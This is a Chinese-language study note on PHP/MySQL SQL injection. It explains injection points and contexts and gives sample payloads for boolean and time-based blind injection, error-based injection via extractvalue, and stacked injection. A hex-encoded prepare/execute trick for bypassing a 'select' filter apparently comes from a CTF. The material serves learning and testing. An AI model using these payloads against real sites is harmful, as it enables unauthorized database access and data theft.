【学习笔记】基础:web打点--php-sql注入
数据请求类型
大致就是以下四种
1、数字型(无符号干扰)
1 | select * from news where id=$id; |
2、字符型(有符号干扰)
1 | select * from news where id='$id'; |
3、搜索型(有多符号干扰)
1 | select * from news where id like '%$id%' |
4、框架型(有各种符号干扰)
1 | select * from news where id=('$id'); |
请求方式
通过功能点来判断注入点,请求方式有以下几种
全局变量方法:GET POST SERVER FILES HTTP 头等
User-Agent: 使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记 录客户使用的操作系统或浏览器版本等存入数据库中) Cookie: 网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据
X-Forwarded-For:简称 XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP,(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件—通过修改 XXF 头可以实现伪造 IP).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的. Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号
以上都有可能是注入点
同时还可能在功能点:增删改查
1、功能:数据查询 查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等 增加:INSERT INTO news (字段名) VALUES (数据) 3、功能:删除用户,删除新闻等 删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等 修改:UPDATE news SET id=$id
一般都是黑盒发现这些漏洞,实战都是sqlmap扫
盲注(适用于具体数据不回显的情况)
逻辑判断—布尔盲注(页面要有回显作为判断条件)
通常用到这些操作符或者函数
1 | regexp,like,ascii,left,ord,mid |
示例注入语句:
1 | length(database())=7; |
参考:
1 | regexp '^a[a-z]' #匹配a或者a.... |
1 | if(条件,5, 0) #成立,返回5,反之,返回0 |
1 | mid(a,b,c) #从位置b开始,截取a字符串的c位 |
substr (a,b,c) #从位置b开始,截取字符串a的c长度
1 |
|
left(database(),1) #从database()的结果的左侧截取1位
1 |
length(database())=8 #判断数据库database()名的长度
1 |
ord(x)=97或者ascii(x)=97 #判断x的ascii码是否等于97
1 |
|
sleep(1);
1 |
if(1>2,sleep(1),0);
1 | ## 基于报错信息—报错注入(需要有报错信息显示) |
1 | extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
二次注入(黑盒一般测不出来,基本都是靠白盒)
有个很重要的前提,在目标网站源码插入数据时中有转义,否则攻击语句会失效,导致注入的整个语句报错,无法执行
然后后续会能利用到插入的数据才行
堆叠注入
这属于是代码层面的漏洞,是由于某些函数能够支持执行多条sql语句才导致的漏洞
(如php中的mysqli_multi_query()),其次数据库也要能支持多条语句执行,并且waf或者代码未过滤;
关键字过滤的绕过
select被过滤
堆叠注入中
可以通过变量传参,然后执行变量的方式来绕过
如:
1 | ';select flag from `1919810931114514`; |
这个语句被过滤了,可以先把这个语句中我们实际构造的部分
1 | select flag from `1919810931114514` |
73656c65637420666c61672066726f6d20603139313938313039333131313435313460
1 | 然后构造这样的语句(十六进制字符串前要加0x作为前缀) |
set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;








